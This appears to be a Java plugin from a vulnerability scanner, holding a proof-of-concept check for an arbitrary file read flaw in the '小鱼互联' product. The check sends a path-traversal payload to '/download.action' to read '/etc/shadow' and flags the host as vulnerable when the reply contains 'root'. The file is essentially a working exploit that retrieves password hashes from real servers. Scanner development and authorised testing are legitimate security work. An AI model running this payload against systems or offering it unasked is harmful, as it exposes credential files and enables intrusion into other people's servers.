
package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

import java.net.MalformedURLException;

@BasicMapping(uri = "小鱼")
public class XYController extends Controller implements BasicController{
    @VulnerabilityDescriptionMapping(Description = "小鱼互联 任意文件读取",SupportVulType = SupportVul.信息泄露)
    public void vul_read(Poc_Exp type, String target, Object... args) throws MalformedURLException {
        WriteLog("\n开始检测：  vul_read_任意文件读取");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/download.action");
                String data = "filename=../../../../../../../../../../../etc/././shadow";
                Response result = httpRequest.Post(data);


                if(result.responseBody.contains("root")&&result.statusCode==200){
                    WriteLog("\n 存在漏洞");
                    WriteLog("\n请求地址："+target+"/download.action\r\n");

                }else {
                    WriteLog("\n 不存在漏洞");
                }
        }
    }
}
